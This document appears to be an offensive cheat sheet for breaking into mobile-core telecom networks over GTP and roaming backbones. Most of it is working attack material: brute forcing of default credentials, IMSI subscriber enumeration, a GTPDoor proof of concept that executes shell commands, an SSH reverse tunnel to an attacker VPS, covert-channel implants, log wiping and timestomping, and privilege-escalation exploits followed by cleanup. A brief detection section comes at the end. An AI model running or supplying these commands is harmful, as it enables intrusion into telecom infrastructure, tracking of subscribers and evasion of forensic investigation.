# Telecom Network Exploitation (GTP / Roaming Environments)

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> [!NOTE]
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones.  Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**.  The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.

## 1. Recon & Initial Access

### 1.1  Default OSS / NE Accounts
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  A dedicated wordlist dramatically increases brute-force success:

```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```

If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).

### 1.2  Host Discovery inside GRX/IPX
Most GRX operators still allow **ICMP echo** across the backbone.  Combine `masscan` with the built-in `gtpv1` UDP probes to quickly map GTP-C listeners:

```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```

## 2. Enumerating Subscribers – `cordscan`

The following Go tool crafts **GTP-C Create PDP Context Request** packets and logs the responses.  Each reply reveals the current **SGSN / MME** serving the queried IMSI and, sometimes, the subscriber’s visited PLMN.

```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Key flags:
- `--imsi` Target subscriber IMSI
- `--oper` Home / HNI (MCC+MNC)
- `-w`      Write raw packets to pcap

Important constants inside the binary can be patched to widen scans:

```
pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"
```

## 3. Code Execution over GTP – `GTPDoor`

`GTPDoor` is a tiny ELF service that **binds UDP 2123 and parses every incoming GTP-C packet**.  When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via `/bin/sh -c`.  The stdout/stderr are exfiltrated inside **Echo Response** messages so that no outward session is ever created.

Minimal PoC packet (Python):

```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```

Detection:
* any host sending **unbalanced Echo Requests** to SGSN IPs
* GTP version flag set to 1 while message type = 1 (Echo) – deviation from spec

## 4. Pivoting Through the Core

### 4.1  `sgsnemu` + SOCKS5
`OsmoGGSN` ships an SGSN emulator able to **establish a PDP context towards a real GGSN/PGW**.  Once negotiated, Linux receives a new `tun0` interface reachable from the roaming peer.

```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
       -APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy
```

With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.

### 4.2  SSH Reverse Tunnel over Port 53
DNS is almost always open in roaming infrastructures.  Expose an internal SSH service to your VPS listening on :53 and return later from home:

```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Check that `GatewayPorts yes` is enabled on the VPS.

## 5. Covert Channels

| Channel | Transport | Decoding | Notes |
|---------|-----------|----------|-------|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | watches for `*.nodep` sub-domain |
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | blends with legitimate GTP-C chatter |

All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.

## 6. Defense Evasion Cheatsheet

```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux
```

## 7. Privilege Escalation on Legacy NE

```bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
```

Clean-up tip:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```

## 8. Tool Box

* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging

---
## Detection Ideas
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.

## References

- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)

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